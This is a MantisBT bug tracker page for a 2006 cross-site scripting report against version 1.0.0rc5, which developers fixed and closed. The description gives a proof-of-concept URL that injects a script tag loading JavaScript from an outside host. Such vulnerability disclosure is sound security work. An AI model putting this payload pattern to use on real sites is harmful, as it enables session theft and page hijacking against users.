0006659: Cross site scripting vulnerability - MantisBT

MantisBT

View Issue Details [ Jump to Notes ] [ Wiki ]

[ Issue History ] [ Print ]

ID

Project

Category

View Status

Date Submitted

Last Update

0006659

mantisbt

security

public

2006-02-01 16:56

2006-10-09 11:55

Reporter

maxi

Assigned To

thraxisp

Priority

normal

Severity

major

Reproducibility

always

Status

closed

Resolution

fixed

Platform

OS

OS Version

Product Version

1.0.0rc5

Target Version

Fixed in Version

1.0.0

Summary

0006659: Cross site scripting vulnerability

Description

Try this, for example:
http://bugs.mantisbt.org/view_all_bug_page.php/"><script%20src=http://own-hero.de/~maxi/xss.js>/xss [^]
Have fun :)

Tags

No tags attached.

Relationships

parent of

closed

Port 0006659: Cross site scripting vulnerability

Notes
(0012073) thraxisp (manager) 2006-02-02 22:59	Fixed in CVS. config_defaults_inc.php -> 1.283.2.1.2.1.2.1.2.1

Issue History
Date Modified	Username	Field	Change
2006-02-01 16:56	maxi	New Issue
2006-02-01 21:24	thraxisp	Status	new => assigned
2006-02-01 21:25	thraxisp	Assigned To	=> thraxisp
2006-02-02 22:36	thraxisp	Issue cloned: 0006664
2006-02-02 22:36	thraxisp	Relationship added	parent of 0006664
2006-02-02 22:59	thraxisp	Status	assigned => resolved
2006-02-02 22:59	thraxisp	Fixed in Version	=> 1.0.0rc6
2006-02-02 22:59	thraxisp	Resolution	open => fixed
2006-02-02 22:59	thraxisp	Note Added: 0012073
2006-02-04 05:44	vboctor	Status	resolved => closed
2006-10-09 11:55	thraxisp	View Status	private => public

MantisBT 1.2.16dev master-1.2.x-8c2bd07 [^]

Copyright © 2000 - 2013 MantisBT Team

Time: 0.0907 seconds.
memory usage: 2,785 KB